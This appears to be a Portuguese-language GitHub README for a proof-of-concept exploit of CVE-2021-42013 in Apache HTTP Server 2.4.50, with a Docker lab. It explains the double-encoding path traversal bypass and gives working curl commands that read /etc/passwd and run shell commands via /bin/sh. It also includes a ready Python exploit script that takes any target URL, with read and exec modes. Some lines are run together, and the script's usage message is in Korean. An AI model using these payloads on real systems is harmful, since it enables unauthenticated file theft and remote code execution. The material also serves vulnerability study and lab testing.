eunho87/cve-2021-42013Exploit de prova de conceito para a vulnerabilidade de path traversal e execução remota de código CVE-2021-42013 no Apache HTTP Server, com ambiente de laboratório baseado em Docker e script PoC em Python.
Contribuidor
É um bug no processamento de normalização de caminho do Apache HTTP Server 2.4.50 que permite ler arquivos arbitrários ou executar código remoto sem autenticação.
Ocorreu devido a uma correção incompleta do CVE-2021-41773 e contorna a proteção de caminho do Apache através de dupla codificação URL (%%32%65).
Para que o CVE-2021-42013 funcione, as seguintes condições devem ser atendidas:
Required all denieddocker-compose up -d
Para verificar se o ambiente de teste está em execução, execute o código abaixo:
docker-compose ps
Quando o servidor estiver em execução corretamente, você pode acessar http://localhost:8080.
Para subir para o diretório pai, usamos ../, mas o Apache bloqueou esses caracteres. Para contornar isso, podemos usar 2e, o valor codificado de ., no lugar. A versão 2.4.50 do Apache decodifica a codificação %2e e depois verifica, então usar %2e2e fará com que os caracteres sejam bloqueados como ../. Portanto, é necessário usar dupla codificação com %%32%65 para contornar essa filtragem.
curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
Em um ambiente com CGI habilitado, é possível obter RCE alterando a parte final para /bin/sh.
curl -s --path-as-is -X POST \
--data "echo Content-Type: text/plain; echo; id; uname -a" \
"http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
#!/usr/bin/env python3
import sys
import http.client
from urllib.parse import urlparse
def exploit(target_url, mode, arg):
parsed = urlparse(target_url)
host = parsed.hostname
port = parsed.port or 80
trav = "%%32%65%%32%65/" * 4
if mode == "read":
path = f"/static/{trav}{arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("GET", path)
else:
path = f"/cgi-bin/{trav}bin/sh"
body = f"echo Content-Type: text/plain; echo; {arg}"
conn = http.client.HTTPConnection(host, port, timeout=5)
conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
result = conn.getresponse().read().decode("utf-8", "replace")
conn.close()
return result
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
sys.exit(1)
print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))
Require all denieddocker-compose down